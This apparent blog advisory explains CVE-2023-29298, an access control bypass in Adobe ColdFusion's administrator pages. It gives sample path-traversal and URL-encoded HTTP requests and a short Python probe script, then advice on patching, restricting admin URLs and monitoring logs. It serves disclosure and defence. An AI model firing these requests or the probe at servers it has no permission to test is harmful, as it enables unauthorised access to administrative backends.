In 2023, a major security flaw—CVE-2023-29298—was discovered in several versions of Adobe ColdFusion. This vulnerability, affecting ColdFusion 2018 (up to update 16), 2021 (up to update 6), and the initial release of 2023, allows attackers to bypass security controls and directly access sensitive administration pages without needing any user interaction. This post explains how this vulnerability works, shows real-world attack techniques, and offers actionable advice for admins.

What Is CVE-2023-29298?

The vulnerability is classified as an improper access control flaw. In simple terms, Adobe ColdFusion sometimes fails to properly check if someone trying to use an administrative function is genuinely allowed to do so. As a result, a remote attacker can trick the server into serving up .cfm and .cfc admin endpoints that should be off-limits—such as /CFIDE/administrator and related administration APIs.

No user interaction is needed for exploitation. That means attackers can potentially gain powerful administrative access just by making specially crafted requests to a vulnerable server.

How the Exploit Works

The root of CVE-2023-29298 lies in how ColdFusion checks user-supplied URLs when accessing admin interfaces. By manipulating certain parts of the URL, attackers can trick ColdFusion into skipping security checks.

Example Exploit

An attacker may use tricky path traversal techniques or bypass URL filters. Here’s a simplified example of how a malicious request might look:

GET /CFIDE/administrator/enter.cfm HTTP/1.1
Host: vulnerable-server.com

If filters block direct access, an attacker might try

GET /CFIDE/administrator/../administrator/enter.cfm HTTP/1.1
Host: vulnerable-server.com

Or, using encoded characters (URL encoding)

GET /CFIDE/administrator/%2e%2e/administrator/enter.cfm HTTP/1.1
Host: vulnerable-server.com

In the flawed versions, these alternate paths could allow the attacker through, bypassing protection mechanisms.

Here’s a *basic script* which attempts to access the admin panel using a crafted path

import requests

url = 'http://vulnerable-server.com/CFIDE/administrator/%2e%2e/administrator/enter.cfm';
response = requests.get(url)

if "ColdFusion Administrator Login" in response.text:
    print("[+] Vulnerable to CVE-2023-29298!")
else:
    print("[-] Not vulnerable or already patched.")

> Tip: Replace vulnerable-server.com with your own target server (for permissioned testing only).

- Adobe Security Bulletin APSB23-40 (Adobe)
- MITRE CVE-2023-29298 Entry
- ColdFusion Exploit Writeup by Rapid7
- Packet Storm Security Advisory

What Admins Should Do

1. Patch Immediately: Get the latest ColdFusion updates from Adobe’s official download page.
2. Restrict Admin URLs: Use firewalls or network segmentation to limit who can access /CFIDE/administrator and similar endpoints.
3. Monitor logs: Look for suspicious HTTP requests with odd paths (such as ../ or %2e%2e/).

Conclusion

CVE-2023-29298 is a serious vulnerability that makes it dangerously easy for attackers to break into ColdFusion’s administrative backend. Everyone running older instances of ColdFusion should assume they’re at risk until patches are in place, and extra network controls are highly recommended.  

If you use ColdFusion, update right now—and check your logs for suspicious access. Staying one update behind really can be the difference between a secure site and a server breach.

Timeline

Published on: 07/12/2023 16:15:00 UTC
Last modified on: 07/19/2023 17:55:00 UTC